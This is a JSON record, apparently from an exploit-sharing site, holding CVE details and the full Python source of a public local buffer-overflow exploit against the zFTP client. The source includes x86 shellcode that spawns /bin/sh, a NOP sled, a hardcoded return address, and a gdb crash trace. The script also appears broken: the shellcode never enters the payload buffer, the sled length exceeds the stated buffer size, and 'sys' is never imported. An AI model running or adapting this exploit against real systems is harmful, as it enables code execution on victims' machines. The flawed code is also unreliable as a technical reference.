{"exploit":{"id":"EDB-40203","name":"zFTP Client 20061220 - 'Connection Name' Local Buffer Overflow","description":"zFTP Client 20061220 - 'Connection Name' Local Buffer Overflow","cves":["CVE-2016-20046"],"author":"Juan Sacco","published":"2016-08-05","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40203","path":"exploits/linux/local/40203.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40203.py","vulnerabilities":[{"id":"CVE-2016-20046","state":"PUBLISHED","title":"zFTP Client 20061220+dfsg3-4.1 Local Buffer Overflow","titleSource":"CVE Program","description":"zFTP Client 20061220+dfsg3-4.1 contains a buffer overflow vulnerability in the NAME parameter handling of FTP connections that allows local attackers to crash the application or execute arbitrary code. Attackers can supply an oversized NAME value exceeding the 80-byte buffer allocated in strcpy_chk to overwrite the instruction pointer and execute shellcode with user privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20046","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20046"},"updatedAt":"2026-04-01T13:58:58.638Z","retrievedAt":"2026-11-27T07:48:31.464Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40203.png?v=2","url":"https://exploitbin.com/exploits/EDB-40203","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40203/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40203/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit developed using Exploit Pack v5.4\n# Exploit Author: Juan Sacco - http://www.exploitpack.com -\n# jsacco@exploitpack.com\n# Program affected: zFTP Client\n# Affected value: NAME under FTP connection\n# Where in the code: Line 30 in strcpy_chk.c\n# __strcpy_chk (dest=0xb7f811c0 <cdf_value> \"/KUIP\", src=0xb76a6680 \"/MACRO\", destlen=0x50) at strcpy_chk.c:30\n# Version: 20061220+dfsg3-4.1\n#\n# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org\n# Program description:  ZFTP is a macro-extensible file transfer program which supports the\n# transfer of formatted, unformatted and ZEBRA RZ files\n# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb\n# MD5sum: 524217187d28e4444d6c437ddd37e4de\n# Website: http://cernlib.web.cern.ch/cernlib/\n#\n# gdb$ run `python -c 'print \"A\"*30'`\n# Starting program: /usr/bin/zftp `python -c 'print \"A\"*30'`\n# *** buffer overflow detected ***: /usr/bin/zftp terminated\n# ======= Backtrace: =========\n# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]\n# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]\n# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]\n# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]\n# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]\n# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]\n# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]\n# /usr/bin/zftp[0x804dc9b]\n\nimport os, subprocess\n\ndef run():\n  try:\n    print \"# zFTP Client - Local Buffer Overflow by Juan Sacco\"\n    print \"# This Exploit has been developed using Exploit Pack -\nhttp://exploitpack.com\"\n    # NOPSLED + SHELLCODE + EIP\n\n    buffersize = 100\n    nopsled = \"\\x90\"*30\n    shellcode =\n\"\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\"\n    eip = \"\\x40\\xf3\\xff\\xbf\"\n    buffer = nopsled * (buffersize-len(shellcode)) + eip\n    subprocess.call([\"zftp \",' ', buffer])\n\n  except OSError as e:\n    if e.errno == os.errno.ENOENT:\n        print \"Sorry, zFTP client- Not found!\"\n    else:\n        print \"Error executing exploit\"\n    raise\n\ndef howtousage():\n  print \"Snap! Something went wrong\"\n  sys.exit(-1)\n\nif __name__ == '__main__':\n  try:\n    print \"Exploit zFTP Client -  Local Overflow Exploit\"\n    print \"Author: Juan Sacco - Exploit Pack\"\n  except IndexError:\n    howtousage()\nrun()","sha256":"d8d6d2fab99747e51f0822a6ef0674ec146c38c959d35404d0dea88848be7c5d","bytes":2423,"fetchedAt":"2026-11-27T18:09:43.634Z","encoding":"utf-8 (display only; download retains original bytes)"}